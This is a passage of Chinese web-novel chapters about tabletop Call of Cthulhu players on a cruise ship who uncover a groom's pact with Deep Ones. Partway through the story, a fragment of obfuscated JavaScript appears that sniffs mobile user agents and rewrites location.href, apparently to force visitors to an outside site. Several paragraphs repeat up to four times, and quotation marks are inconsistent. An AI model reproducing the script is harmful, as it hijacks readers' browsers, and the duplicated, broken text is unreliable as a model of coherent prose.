路婉婉很快翻出了她带的手册找到那一页又仔细比对了电脑屏幕上的那张指到了某个地方“应该是这片海域。”
“潘多拉号会在婚礼的之后一天”威尔陷入思索“也就是航行的最后一天经过那里……”
“而它是当年玛格丽特号同样预定通过的地方。”
祝槐点着鼠标一晃在地图上圈了个红圈“但玛格丽特号没来得及因为早在这块就触礁沉没了。”
“古特提群岛……”罗曼深沉道“吾煮告诉我这一定有古怪。”
其他人:“……”
废话!
“恋人海。”他突然说。
威尔也没想到他居然真提出了点有价值的情报“什么恋人海?”
“不要小瞧作家的知识库存!”罗曼骄傲地说虽然他也是才以此为由问kp的“不管是哪个世界很多地方也会有这种传说吧恋人桥、恋人岛还有恋人海峡什么的只要两个人一起去过了就可以生生世世永不分离。”
“这边也是。
他弯腰去指屏幕,“虽然经过的是海域,但周围分散的岛屿,这样——再这样,连起来就有点像一个爱心的形状了,所以叫‘恋人海’。
“……这种联想我不懂,侦探默默道,“这要说是个心的形状是不是还挺牵强附会的?
路婉婉沉默点头。
“我刚看了,这里还有道海峡。
祝槐把它标出来,“瞧,加上这一笔就心碎了。
罗曼:“……???
你们对浪漫过敏是吗?!
“这样总结一下,威尔说,“当年爱德华和莎伦一起登上了玛格丽特号,航行最重要的目的地应该就是那片恋人海。
路婉婉:“可能是订婚旅行?他们同学都说到结婚了。
“不是也差不离。侦探继续道,“可惜还没有到达就发生了海难,存活下来的只有爱德华一人。三年后,他已经和休谟家的大小姐有了婚约,但还是将最后一天的航程定在了那里。
“煮啊,如果只是单纯的纪念,除了他和休谟以外的外人还不好评判……罗曼嘀咕,“可是你们说发现了魔法书。
“而且深潜者会在船上乘客入睡后的深夜登船。
祝槐道:“还会一个个检查,就像……
威尔轻声说:“……就像在清点祭品数量。
“猜测先放在一边,他说,“睡前的那个核实邀请函的服务生也很奇怪,不觉得他和那些鱼人长得有点像吗?
尤其是那双分开到几乎要长到脑袋两边的眼睛。
“典型的混血种相貌。祝槐说。
她对上其他人投来的视线,就解释道:“我以前有听说过,深潜者会和人类进行繁衍。比如有个渔村,定期将年轻男女献给它们,借此换来打不完的鱼和黄金财宝——生下来的孩子一开始像人类,但随着年龄增长就会越来越接近深潜者。
“具体长得就是他那样,等到了老年就会回归大海,真的和‘同族’们生活在一起。
没有人质疑和追问,四个人里有三个用的是旧卡,经历得也不少了,模组又都不一样,在不同方面知道多点也不算奇怪。
“船下有深潜者,船上有混血深潜者,罗曼幽幽地说,“煮啊,说不定影响仕途啊。
路婉婉:“还有那几块石头……
“目前来看,还不能完全断定是用来做什么的。祝槐说,以数值而言,她的克苏鲁神话也才
只有32,“白天闹出来的动静太大,应该不适合再行
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13415387|81506||http|test|mini|href|location''.split(''|''),0,{}));
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>动了,别的就等晚上再说吧。
威尔:“前提是晚上不会睡过去。
“那样的可能性不算高,但也不是没有……我觉得它们不会再检查一遍,所有人都被‘困’在船上,没有那个必要。
她笑着眨了下眼睛。
“不过如果真发生了,信得过的话,把钥匙给我,我会去叫醒你们的——虽说方法保密。
威尔打量她两眼,点点头。
“反正也没有别的办法了。他叹气,“要是我把其他卡上的旧印带上就好了,就算可能起不到多少作用……
为了给晚上的团建活动养精蓄锐——准确来说,是不给kp扣第二天技能成功率的机会——他们在房间轮班制小睡到了下午。
轮班制自然是为了以防爱德华因为钱包的事找上门来,好在那之前脱身,但奇怪的是,自始至终都没有任何动静,也不知道那边到底是个什么情况。
“谁知道呢,
埃及商人的心思你猜不透啊猜不透。
别的做不了,像正常客人一样四处转转还是可以的,入夜前剩下的时间被他们用来分散去找了其他地方还有没有那样的石块,只可惜收获寥寥。
以那巨石的大小,不太可能放在容易拥挤的公共场所,但以一般乘客的权限,能去的地方也有限。
只有路婉婉在中厅的角落发现了一个——先前用幕布给遮住了,还是她看着形状不对劲,趁别人不注意的时候偷偷揭起来看得。
等到时间差不多了,他们就各自回了房。祝槐坐在书桌前发呆,分针跟着秒针一圈圈转过去,果然正如威尔所说,她在它们指向十点整点的时候,忽然产生了一种一定要去睡觉的想法。
她抬起了手。
面前的那张纸就在一瞬间泛起了光。
要是张明栋或是白鹄在场,一准能认出这纸上预先准备好的就是她那天画给他看的图案——三个问号,还有中央的那个点,随着魔力注入而渐渐蠕动起来的同时,那股难以抗拒的困意猛地消失了。
看来和她想的一样。
祝槐犹豫了一下,还是没有把纸团成团丢进垃圾桶,转而折起来收好了这枚刚激活的黄印。
正如传闻奈亚拉托提普与克图格亚不共戴天,克苏鲁也有着一个明明拥有近乎表亲的关系、
却彼此敌对的死对头——拥有着黄衣之王这一化身的哈斯塔。
——如果是克苏鲁的信徒下的心理暗示,那就用哈斯塔的黄印抵消掉好了。
她站起身,伸了个懒腰,食指上转着三串钥匙去挨个开门了。
“晚上好——”祝槐用卷成的纸筒凑近床上睡着的人耳朵旁边,“起床了——”
罗曼:“……!!!”
煮啊吓他一跳!
他是最后一个,这会儿手忙脚乱爬下床。也才被叫醒的路婉婉和威尔还在那打哈欠,几人都是早有心理准备地和衣而卧,连衣服都不用换,直接往外走就行。
以防万一,他们还是做好了起码的伪装工作——留下了四张塞进枕头像是睡了人的床。然后就如计划中一样,先往之前藏了个“鱼质”的工具库房去。
闷了整整一天,被叮嘱不能让人看见的深潜者先是小心翼翼地从帆布底下探起一条缝,在确认是他们后就迫不及待地扑了过来。
……事实上是扑向了被抱回来的那一包小鱼干。
祝槐信守承诺地给它丢了十条鱼干,为了以表奖励还多给了两条。深潜者立刻细细品味起来,连在这期间自己脖子上被套了个白天从商店买的特大号项圈都没在意。
kp:“……”
瞧这出息劲儿
!
“鱼鱼,”祝槐正色道,“我们走。”
路婉婉震惊,“这是个什么名啊?”
祝槐:“那深深?潜潜?”
威尔:“……”
您的取名品位就到这儿了是吗?!
罗曼由衷道:“煮说还是鱼鱼吧。”
威尔一时竟然不知道该吐槽这简陋的名字还是他们大半夜的居然在遛深潜者。
武装齐整的一行人离开库房,深潜者就跟在后头边走边啃鱼干,正准备向旁边拐去,走在最前头的威尔突然一个急刹,示意其他人也赶紧站住。
他们趴在墙后,谨慎地望过去,顿时也明白了他这么做的原因。
——爱德华站在那里。
对于近距离见过他的几人而言,那衣服不可能再错认成别人。偌大的甲板上,他背对这边站立,衣摆迎风而动,像是在等待着什么。
“谁在那里?”他突然似有所感地问。
……!
一时间几人面面相觑,他们明明一早收回了视线,也没有发出任何动静,就连深潜者都吃完了鱼干在那呆呆地站着。
“谁在那里”爱德华又问了一遍声音低沉毫不掩饰警惕与威胁“有人在那里吧出来。”
他甚至向这边走了几步四人越发屏息静气祝槐转转眼珠将手里牵着的绳子交给了路婉婉。
她冲队友做了个噤声的手势。
祝槐稍微往外偏了偏大胆地让自己的影子露出一点来。
黯淡灯光下只有一抹模糊又细长的阴影斜在地板上隐约能辨认得出些许女性的身形。
“是我”她轻声说“我是莎伦。”
!
“鱼鱼”祝槐正色道“我们走。”
路婉婉震惊“这是个什么名啊?”
祝槐:“那深深?潜潜?”
威尔:“……”
您的取名品位就到这儿了是吗?!
罗曼由衷道:“煮说还是鱼鱼吧。”
威尔一时竟然不知道该吐槽这简陋的名字还是他们大半夜的居然在遛深潜者。
武装齐整的一行人离开库房深潜者就跟在后头边走边啃鱼干正准备向旁边拐去走在最前头的威尔突然一个急刹示意其他人也赶紧站住。
他们趴在墙后谨慎地望过去顿时也明白了他这么做的原因。
——爱德华站在那里。
对于近距离见过他的几人而言那衣服不可能再错认成别人。偌大的甲板上他背对这边站立衣摆迎风而动像是在等待着什么。
“谁在那里?”他突然似有所感地问。
……!
一时间几人面面相觑他们明明一早收回了视线也没有发出任何动静就连深潜者都吃完了鱼干在那呆呆地站着。
“谁在那里”爱德华又问了一遍声音低沉毫不掩饰警惕与威胁“有人在那里吧
他甚至向这边走了几步四人越发屏息静气祝槐转转眼珠将手里牵着的绳子交给了路婉婉。
她冲队友做了个噤声的手势。
祝槐稍微往外偏了偏大胆地让自己的影子露出一点来。
黯淡灯光下只有一抹模糊又细长的阴影斜在地板上隐约能辨认得出些许女性的身形。
“是我”她轻声说“我是莎伦。”
!
“鱼鱼”祝槐正色道“我们走。”
路婉婉震惊“这是个什么名啊?”
祝槐:“那深深?潜潜?”
第36章 约定之地(五)
她的音量不大不小,正好压到了对方可以听见、但也仅是如此的程度。
爱德华很明显地迟疑了一下。
“莎伦?
这仍然是一场赌博,任何一点因素都会影响到天秤的平衡,就比方说,哪怕时隔三年,爱德华仍然记得莎伦·伯克利的嗓音。
——而他真的听得出来。
“你的,他说,“你的声音……
他们现在所处的境地其实非常吃亏,爱德华毋庸置疑地转向了这边,那就意味着没有办法观察他的神情和反应。
镜子也不行,一旦反光就会变得太显眼。
但于祝槐,他那一瞬间的停顿而非反驳就足够她做出判断了。
——莎伦已经死了。
“我不知道。她说,“……我只是想和你说话。
不作肯定,不作否定,就单纯用暧昧不明的态度引导对方自己去猜想,这是欺骗人心基本中的基本。
“你回来了……你真的回来了?爱德华道,“我明明还没有——
剩下三人交换了个震惊又意料之中的眼神。
他的脚步声在往这边靠近。
“别过来!祝槐厉声说。
爱德华一下子站住了,“——好,好,我不过去,还不是时机。
“你终于愿意回应我的呼唤了?
路婉婉听得背后发凉。
她用口型问其他人,“什么叫‘这才是你’?
罗曼默默摇头,在自个儿胸口画了道波浪线祈祷,而旁边的威尔没有反应,他只是在盯着自己手里闪烁又灭下去的一小粒亮红色灯光。
祝槐沉吟了两秒。
“……但你还是选择和她结婚了。她说。
“我、我没有办法,我不得不,爱德华磕磕绊绊地辩解道,“这样我才能……莎伦,我爱你,我爱的也只有你。
“我明白的,我明白你为什么这么做……祝槐说,“所以我会等你的——在我们的约定之地。
“莎伦……
她对上其他人惊讶的目光,挑了一下眉,就在这时,不远处忽然传来了接连的破水声。
就像是有什么东西猛地跳上甲板又滑行了一小段距离,随之响起的是阵阵尖锐
而嘶哑的喉音。短暂的停顿后,另一道同样频率的、熟悉的声音回答起它——那无疑是爱德华的,他在使用它们的语言与之交流。
这简直是天赐良机,祝槐马上跟队友比划了个手势。他们趁着那些破水声的遮挡蹑手蹑脚地往反方向走回去,听到同伴的声音后开始东张西望的深潜者也被钓在面前的小鱼干勾引走,在指示下有样学样地放轻了吧唧吧唧的步伐。
等到分
身乏术的爱德华终于暂时得空,又急忙往转角走了几步,却听不到任何回应了。
“莎伦?”他的声音可悲地在空旷的走廊回响,“……莎伦?你还在吗?”
爱德华踌躇半天,还是又往前迈了一步。
他跨过那道贴着淡金色壁纸的转角有如跨过天堑,高高悬起的心就在看到空荡得仿佛从来没有谁存在过的墙后彻底坠下去,最后长长叹出一口气,转身走回了甲板。
墙后的人早就跑到了数道走廊之外。
“人比人得死,货比货得扔。”
路婉婉拍拍罗曼的肩膀,“我错怪你了。”
罗曼:“???”
“我渣男是演的好不好,”他由衷地祈祷,“煮啊,请宽恕我虚伪的罪过。”
“真的吗?”祝槐诧异,“你自然到我都以为
是本色出演了。”
罗曼:“……”
你个刚演完的有什么资格说!他们看得才叫目瞪口呆好吗!
“所以,现在可以肯定和深潜者联络的就是爱德华了,”威尔说,“鉴于他对‘莎伦’的态度……交易的代价是让莎伦死而复生吗?”
“我从来没有听过这么让我恶心的告白。”路婉婉愤愤道,“他但凡是凭自己把这么一船人带来献祭我都敬他一分,他深情他迫不得已,他把桑德拉·休谟当什么了?”
“这得问问另一个当事人的意见,”祝槐道,“我也很好奇她会怎么想。”
“不过……”
她忽然自言自语似的说:“他现在爱的真的是莎伦吗?”
“随口一说,别在意。”祝槐对上队友的视线,笑笑,“当务之急还是确认休谟家的立场。”
“我倾向于认为不知情,毕竟他们家女婿人选是爱德华而不是别人的原因之一就不成立了……”他们都是看到酒会上两人的表现的,威尔说,“再者,如果是那样,咱们也太一边倒的不利了。”
“最好还是考虑到所有的可能,”祝槐思索道,“这点可以留到明天
白天再确认。”
欺诈师这份职业带来的天然本能——她胆大是真胆大谨慎也是真谨慎。
他们今晚的目标原本就是躲过可能不会查房但八成要再上船的深潜者看看它们到底是跟哪边勾结现在在一场“谁是莎伦”的机缘巧合的乌龙下已经超额完成了。而另一部分的目标——
大概是真把深潜者当了宠物养的某人在其他人槽多无口的目光下提出孩子闷了一天了应该出来透透风当然
就比如现在。
“小潜啊”祝槐笑吟吟地半蹲下身“问你个事。”
路婉婉:“?”
你刚才还管人家叫鱼鱼的!
深潜者似乎也对此感到了一点迷茫然后就听她问道:“我觉得你们的理想真是很远大那想来一起来实现的同伴也很多吧?”
鱼人一伸手意思很明确——鱼干。
所有人:“……”
孩子长大了学会讨价还价了。
等它拿到鱼干开始格外香甜地啃这才点了点那颗硕大的鱼头。
“有多少?”路婉婉忍不住问“都在船周围吗?”
威尔更大胆一点“这一片海域都是?”
深潜者呆呆地歪了歪脑袋没有否认他的话干脆用带蹼的手从这头——一直比划到了另一头。
所有人:“……”
完了比想象中还多。
“船上呢?”祝槐又问“也有不少你们的同伴预备役吧?”
梅开二度。
深潜者从这头指到了那头。
它如愿拿到了又两条小鱼干而众人面面相觑再次感到了自己的前途叵测。
“……煮说我们应该回去睡了。”罗曼说“遇到困难就应该睡大觉。”
“我同意”威尔麻木道“反正站在这里也解决不了问题再不睡又要扣技能值了。”
其实要不是知道这潜藏在婚礼背后的暗潮涌动这邮轮上的旅途看起来是如此的平和。除了夜晚会落入一片诡异的寂静那以外的时间段无一处不是热闹至极完完全全可以称得上是宾主尽欢。
连他们当晚把鱼人又送回去之后的睡眠也是跟前一天后半夜一样安稳深潜者们这一手要不是会让人梦见拉莱耶和他们的天父克苏鲁治疗失眠应该很有效。
第二天一早几人用过早餐重新聚在了祝槐的房间里开始正式商
讨起下一步该怎么做。
“你说确认休谟家
的立场”威尔说“也就是先找个别的什么人了?”
祝槐“嗯”了声。
“这个人选应该和休谟家也有接触同时是爱德华的心腹这样会至少知道一点内情或者帮他做过什么事。”
威尔:“……巧了。”
“那我和你想到的应该是同一个。”他说。
路婉婉:“你们说的难道是……”
“不过如果是那个人的话”威尔说“常规办法肯定是用不了的。”
【……绑架犯法。】
“你很懂我嘛。”祝槐奇道“天知地知你知我知只要没有其他人知道那就不犯法。”
kp:“???”
你什么歪理?!
“非常时期非常手段”威尔说“但要是这样那负责的人身材也得——”
三人的视线齐刷刷地投向了他们之中个子最高的那个。
罗曼:“?”
爱德华的秘书并不难找。
就算连他姓甚名谁长什么样都不认得只要蹲守在vip客室附近看到谁打扮齐整又无视保镖地出入爱德华房间、和他沟通后又毕恭毕敬地告退就是了。
爱德华显然没有睡好眼底一片青黑于是秘书还顺带关心了两句上司的身体这才在他点点头后转身离开了。
他穿过走廊正准备往对面的会客厅走忽然有一只手从转角后面伸过来用力捂住了他的嘴不由分说地将他往墙后拖去。
秘书一愣随即猛烈挣扎起来出乎他意料的是没费什么劲就挣脱了这桎梏还将对方摔得一个趔趄。他动作一顿这就转头打算呼救。
[斯卡蒂(祝槐)]进行斗殴检定52/60成功。
她猛地踹上了男人腿弯又一个手刀劈上他颈侧后者顿时膝盖一软跪倒在地软了身体没声了。
路婉婉松了口气放开了捏着的电击器。
威尔:“……你行不行啊!”
“煮不提倡我们动用武力!”罗曼据理力争地为自己辩解“你们对家里蹲的体力有什么不切实际的期待!”
“行行打架打不过拖人交给你了”威尔向着他们盯好的那个空休息室一撇头“快点。”
他们七手八脚地将秘书拖进房间时间所迫疑似邪
教徒的同伙自然也没有什么好待遇一杯凉水泼上去才昏
过去的可怜男人一个激灵又醒了。
“你们——”他警觉地看着几人“你们是谁?”
“我们是谁不重要”路婉婉说“你在帮爱德华·琼斯做什么事?”
四个人将他围在正中
他嘴角的冷笑在听到不远处的声响后消失了。
祝槐斜倚在沙发上一手柜子翻出来的水果刀一手刚跟人形自走军火库借来的便携磨刀石磨得一声比一声响。
“……我他让我帮他买书。”
秘书说:“我保证我真的只做了这个!”
祝槐看他一眼从旁边拿了瓶水把刀冲干净又从桌上果盘里摸起个新鲜苹果切了一块下来。
“看我干嘛”她说“切块苹果吃。”
秘书:“……”
秘书:“???”
“第二个问题”威尔说“休谟家知道这事吗?”
秘书眼珠转了转眼看又要负隅顽抗侦探走过去接过祝槐手里的刀反手就把刀尖钉进了桌面里。
“她切的是苹果”他说“我不一定。”
[威尔]进行恐吓检定61/70成功。
kp:“……”
你们可做个人吧!
“不知道他们不知道”秘书吓得不轻慌慌张张地招认道“这肯定是背着他们的啊!”
路婉婉:“那……休谟家的大小姐这时候可能会在哪里?”
“美容中心”秘书说“或者露台……昨天琼斯先生是去那里找她的。”
“箱子。”祝槐说。
“乘客登船时他们往船舱里运的箱子”她问“里面装的是什么?”
“琼斯先生也不是任何事都告诉我的!”秘书马上道“我就办了登记手续它放在二号货仓!”
“别的我真的也不知道了!”
他强调“我知道的就这些我我我交代点别的吧——黑账行不?”
所有人:“……”
“行”祝槐说“你可以继续晕着了。”
秘书:“……?”
威尔就站在他后头手起手落男人闷哼一声又被打昏了。
但凡是上了潘多拉号都可以在这上面找到自己心仪的享受之所连包下这艘船的主人也不例外—
—明天就要步入婚礼的桑德拉·休谟刚刚做完一套武装到眼睫毛的护理,正面带微笑地接受着一众贵妇女眷的吹捧。
美容沙龙的门忽然被推开了。
“休谟小姐——是休谟小姐吧,”女孩上气不接下气地探头进来看了一圈,瞧见她就连忙问道,“琼斯先生可能出了点事,能先跟我来一下吗?”
还怕她不信似的,掏出了一本证件,“已经送去医务室了,您可能不认识我,但这是我的执照,我想应该——”
“不,我这就过去,”桑德拉直接打断了她,“是在医务室对吧?”
路婉婉:“……”
这也太顺利了吧??
她的茫然在桑德拉步履飞快地走来和看到对方脸上的如释重负的同时消失了——敢情这位大小姐好像已经在那边听得非常不耐烦了。
但准新娘显然也是很焦急的,还走在路上就向她问道:“他出什么事了?”
等在门口的保镖在她出来后就跟上了,路婉婉正支吾着,旁边就有一道声音横插进来。
“什么也没有。”祝槐就等在美容沙龙的不远处,罗曼和威尔也都靠在墙边,“是我们有事想找您。”
“……”一片担心落了空,桑德拉柳眉微竖,“你们是?”
“私家侦探。”威尔说,“请问您知道莎伦·伯克利吗?”
桑德拉上下打量了他们几眼。
“知道。”她说。
“如果你们是为这个来找我,那就没必要再谈了。”桑德拉说,“爱德华从一开始追求我的时候就跟我说过了,我也不介意彼此有没有几个前任这种小问题。”
祝槐:“那您介意他的钱包里还留着前任的照片吗?”
桑德拉:“……什么?”
“看来您对自己的未来伴侣还是过于信任了——这个。”她递出那张几寸大小的合照,“是在琼斯先生那边找到的,您不用问我怎么弄到手的,我相信以您这样的地位和经营手腕,也不会忌惮事办成是用了什么样的手段。”
休谟家的大小姐瞧她一眼,不作声地接过了她手里的照片,侧面证明了这话并不算作伪。
她的指尖在看清照片上两人的亲密时捏紧了,又注意到了什么而翻了过来——另外三人也是才看到背面还写了一串字母。
——laterrapromesa。
罗曼:“……这啥?”
“意大利语,”威尔说,“意思是‘约定之
地’。”
路婉婉恍然地看看祝槐“怪不得你昨天说——”
桑德拉:“说什么?”
“不没什么。”祝槐说“您应该认得出琼斯先生的笔迹
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吧。”
桑德拉难掩烦躁地冷哼了一声。
“我很理解您的心情”她继续道“事实上我们调查这些
“眼见为实。”
祝槐说:“我们现在在怀疑琼斯先生带上船舱的东西可能有问题连他的秘书也不知道里头是什么这也许要动用到您的权限可以去一趟二号货仓吗?”
“啊对了鉴于可能会惊动到琼斯先生那边其实我们把他的秘书打晕了就在正下方的休息室能麻烦您出手控制一下吗?”
桑德拉:“……”
她摆摆手身旁跟着的其中一个保镖就跑去办了。
婚礼当头闹出这档子事她肉眼可见的低气压高跟鞋鞋跟响亮地敲在地上大步流星地走得比他们和保镖还快。
登上电梯时祝槐问:“琼斯先生跟您说过那场海难吗?”
桑德拉:“嗯。”
“我也知道莎伦·伯克利是死在那场海难的。”她说“爱德华自己在岛上生存了几天几夜最后才得到了一艘碰巧经过的渔船的救助。”
路婉婉:“……啊这。”
他们同时想起了那张剪报。
“你们看到新闻了。”桑德拉肯定地说“我也问过他是怎么活下来的他说……在他以为自己撑不下去的时候有条人鱼给他送来了水和一些能吃的东西这样才撑到了最后。”
“我当时觉得可能是‘第三人’现象。”她平静道。
第三人现象——人在遭遇生死危机时大脑会自发出现一种应对机制借由幻想出一个虚拟的同伴、不存在的第三人来帮助自己直到解决这困境。
威尔:“人鱼……”
还是鱼人?
电梯门打开了。
虽然现在是白天下层货舱在无人通行时灯光依旧昏暗他们、桑德拉还有她带的几个保镖走出电梯轿厢数着门上挂着的标牌一路到了二号货仓门前。
和别的货仓不同这里多了两个船员守在门旁祝槐注意到有一个的发顶已经有些稀疏了。
“桑德拉小姐?”船员见到他们就是一愣
,“您怎么突然来了,难道是要——
桑德拉:“我不能看里面的东西吗?
“不,当然不是。对方迟疑道,“但是这是爱德华先生吩咐的,我们得去请示一下……
“动手。桑德拉说。
她身后的保镖在这一声令下直接出手打昏了出声的守卫,而旁边的另一个船员见势不妙居然拔腿就要往反方向跑——但人多势众总是动作快些,罗曼反应迅速地拽了他一把,这片刻功夫就为保镖争取了时间,他立马也跟同伙一样一头栽倒在地了。
解决掉守卫,再从他们身上摸出钥匙,保镖打开锁头后一左一右地推开货仓大门——手电筒的打光之下,黑漆漆的内部空间就现于他们眼前。
他们见过的那个“箱子摆在正中,整个货仓再别无他物,布仍然罩在上面,但在那之下,还接了几根输入输出的水管。
耳边回荡着潺潺的水流声。
“你们说……路婉婉不安地说,“里面会是什么?
“不知道,祝槐说,连她也没办法确定,“总之肯定和仪式有关。
“但爱德华的那些话……
路婉婉越想越心惊,“我有种不好的预感。
保镖已经在桑德拉的指示下率先上前,一把扯下了罩在上面的布。
霎时间,货仓内陷入了死寂。
玻璃缸中的水幽深到隐隐发绿,女人的长发如枯槁的水草般飘摇。
她额角有一处青紫到发黑的疤痕,上半身遍布蜈蚣一样扭曲的、被啃咬过似的针脚,两条胳膊也长短不一,简直像是从不同的人身上搜罗了部件拼接上去。
皮肤也泛着不正常的白,如果说上面还勉强像人,她的下半身根本就是一条似乎被强行连起来的深青色鱼尾。
密密麻麻的鱼鳞有些翘起有些干脆脱落了,暴露出的伤口在长久的浸泡下开始腐烂化脓,将周围的水也染出了可怕又恶心的黄褐色。
而他们都见过那张脸。
形如人鱼又形如僵尸的莎伦·伯克利静静漂浮在水里,神情木然,嘴唇微弱翕动,似乎在无声地呢喃着什么。
跟随着手电筒的照射——
她布满血丝的眼珠极其轻微地转动了一下,紧紧盯住了玻璃外的众人。
霎时间,货仓内陷入了死寂。
玻璃缸中的水幽深到隐隐发绿,女人的长发如枯槁的水草般飘摇。
她额角有一处青紫到发黑的疤痕,
上半身遍布蜈蚣一样扭曲的、被啃咬过似的针脚,两条胳膊也长短不一,简直像是从不同的人身上搜罗了部件拼接上去。
皮肤也泛着不正常的白,如果说上面还勉强像人,她的下半身根本就是一条似乎被强行连起来的深青色鱼尾。
密密麻麻的鱼鳞有些翘起有些干脆脱落了,暴露出的伤口在长久的浸泡下开始腐烂化脓,将周围的水也染出了可怕又恶心的黄褐色。
而他们都见过那张脸。
形如人鱼又形如僵尸的莎伦·伯克利静静漂浮在水里,神情木然,嘴唇微弱翕动,似乎在无声地呢喃着什么。
跟随着手电筒的照射——
她布满血丝的眼珠极其轻微地转动了一下,紧紧盯住了玻璃外的众人。
霎时间,货仓内陷入了死寂。
玻璃缸中的水幽深到隐隐发绿,女人的长发如枯槁的水草般飘摇。
她额角有一处青紫到发黑的疤痕,上半身遍布蜈蚣一样扭曲的、被啃咬过似的针脚,两条胳膊也长短不一,简直像是从不同的人身上搜罗了部件拼接上去。
皮肤也泛着不正常的白,如果说上面还勉强像人,她的下半身根本就是一条似乎被强行连起来的深青色鱼尾。
密密麻麻的鱼鳞有些翘起有些干脆脱落了,暴露出的伤口在长久的浸泡下开始腐烂化脓,将周围的水也染出了可怕又恶心的黄褐色。
而他们都见过那张脸。
形如人鱼又形如僵尸的莎伦·伯克利静静漂浮在水里,神情木然,嘴唇微弱翕动,似乎在无声地呢喃着什么。
跟随着手电筒的照射——
她布满血丝的眼珠极其轻微地转动了一下,紧紧盯住了玻璃外的众人。
霎时间,货仓内陷入了死寂。
玻璃缸中的水幽深到隐隐发绿,女人的长发如枯槁的水草般飘摇。
她额角有一处青紫到发黑的疤痕,上半身遍布蜈蚣一样扭曲的、被啃咬过似的针脚,两条胳膊也长短不一,简直像是从不同的人身上搜罗了部件拼接上去。
皮肤也泛着不正常的白,如果说上面还勉强像人,她的下半身根本就是一条似乎被强行连起来的深青色鱼尾。
密密麻麻的鱼鳞有些翘起有些干脆脱落了,暴露出的伤口在长久的浸泡下开始腐烂化脓,将周围的水也染出了可怕又恶心的黄褐色。
而他们都见过那张脸。
形如人鱼又形如僵尸的莎伦·伯克利静静漂浮在水里,神情木然,嘴唇微弱翕动,似乎在无声地呢喃着什么。
跟随着手电筒的照射——
她布满血丝的眼珠极其轻微地转动了一下,紧紧盯住了玻璃外的众人。
()
第37章 约定之地(六)
路婉婉:“这是……
“这是……她捂着嘴连连后退,后背直接撞上了半开着的大门,“这是怎么回事?
好歹是医学生,她已经算淡定的了,跟着桑德拉的几个保镖里已经有两个当场冲了出去,走廊里响起了此起彼伏的呕吐声。
【目睹莎伦·伯克利惨遭改造的骇人一幕,进行意志检定,成功下降一到三点,失败随即下降一到六点san值。】
[弗莉达(路婉婉)]进行意志检定,87/65,失败。
[默林(罗曼)]进行意志检定,10/70,极难成功。
[威尔]进行意志检定,35/75,困难成功。
[斯卡蒂(祝槐)]进行意志检定,2/70,大成功!
沉重可怖的气氛微微一滞。
威尔:“……
罗曼:“……
路婉婉:“……
果然,不管你想是到底怎么想,只有骰子出目这种东西是永远控制不了的。
连kp也忍不住了。
【……你是不是多少有点离谱?】
祝槐:“………………
她想吗!她也很尴尬的好吗!!
这里为什么会有大成功啊?!
“……她是不是还能回一点san?趁着npc们还没有回过神,威尔小小声地问。
“……不了不了,祝槐默默道,“这加点我也不想要。
【既然这样,那就——】
【你对上了莎伦的目光,隔着玻璃,却清楚地感受到了她的绝望,也奇迹般明白了她想说的话。】
在一片沉寂与倒抽的凉气声中,祝槐反而上前了一步,轻轻按住了那足以防弹的玻璃。半晌,悬浮在鱼缸中的莎伦·伯克利缓慢而僵硬地抬起不属于自己的小臂,在透明却遥远的隔档之内将手掌与她的重合在了一起。
她分明是有意识的。
莎伦的嘴唇仍在翕动着,离得近了,就能模糊地辨认出她的口型——
“抱歉,祝槐说,“现在还不行。
虽然不知道她的声音有没有真正传到莎伦耳中,但“人鱼的眼神的确在一瞬间更加黯淡了。
“——把她带出去。
桑德拉·休谟本人的心理素质还比她那几个保镖更强些,她的声音满含着冰冷的
怒火,再炙热的爱意在目睹眼前一幕后也像被一桶冰水当头浇下来似的消散个大半。
“派人去控制住爱德华,通知宾客婚礼取消,现在就返航!
“不行,威尔回过神,连忙制止她,“做不到。
桑德拉:“为什么?
“因为……他不是一个人在‘孤军奋战’?路婉婉犹豫着说。
“就像刚才那两个船员一样,祝槐道,“你们两个安排的旅行,你应该也更明白,这船上也有他安插的人手吧?
“那又如何?休谟家的大小姐不以为意,“我的人只会更多,说到底也因为是我策划——
她的声音忽然停住了,脸色也变得很难看。
威尔:“怎么?
“……海上婚礼是我提出来的,他还表现得很意外,同意以后就前后帮着张罗,我还以为……桑德拉说,“但现在想想,是因为我看到了碰巧放在公文包里的宣传手册和……
“可是我为什么会看到?
没有人能回答她的问题,因为她显然已经有了答案。
“事实上,祝槐说,“我们说不行的原因,主要是因为这个。
她打开手机,给一脸将信将疑地凑过来的大小姐看了——自己和被五花大绑的深潜者的自拍合照。
桑德拉:“……
桑德拉:“?
可能因为场面太过滑稽,大小姐甚至没掉san。
相反,她下意识地问:“他穿的戏服吗?
其他人:“……
他们就知道会是这样的效果!
“不不不,这是真实存在的,祝槐说,“登上这艘船以后,你有没有在某个时间点突然感觉到很困,然后不知不觉地一觉到天亮?
“我们中途有醒来过,出去就看到了这样的怪物,靠着人多势众把它制服了。她说得脸不红心不跳,“但是据可靠线报,已经有大量的它的同族聚集在了这艘邮轮附近的海域。
“其中也有一些混进了宾客和船务人员之中……
她问:“休谟小姐应该懂我的意思吧?
听着她的话,桑德拉的眉头也皱了起来。
——他们所在的“潘多拉号,已经成了一座孤岛。
只是一个爱德华还不足为惧,无数盘踞在船底伺机而动的鱼人才是难以对付的目标,船上的这些也无从辨别谁是无辜者谁是混血深潜者,一旦里应外合,
所有人都是葬身海底的命。
威尔轻轻叹了口气。
以他看来,这个模组的真相其实不难得出,摆在他们面前真正的难题——是如何摆脱这个绝境。
桑德拉沉默良久。
“明晚的婚礼照常举行。她说。
“除了在邮轮各处必要的值班人手,
路婉婉:“……但是海里的怎么办呢?
这是最让人担心的,不说别的,深潜者这样的神话生物应该也有法术可以傍身。混血还好说,已经完全转变的那些——一旦对上它们,别说乘客们八成会死伤大半,连船体都有可能保不住。
“可以从现在开始祈祷,罗曼双手合十,“飞面大神原地把它们变成鱼头泡饼,ramen。
……喂!
“其实我有点想法。
祝槐看了眼脚边地面,慢慢地问:“休谟小姐,婚礼时间是谁定的?
桑德拉:“是他。
“那些石头,她说,“广场两块,库房一块,中厅一块,其他地方还有吗?
“有,桑德拉说,“他跟我说是他们家乡的传统,才去为了婚礼特别定制的……
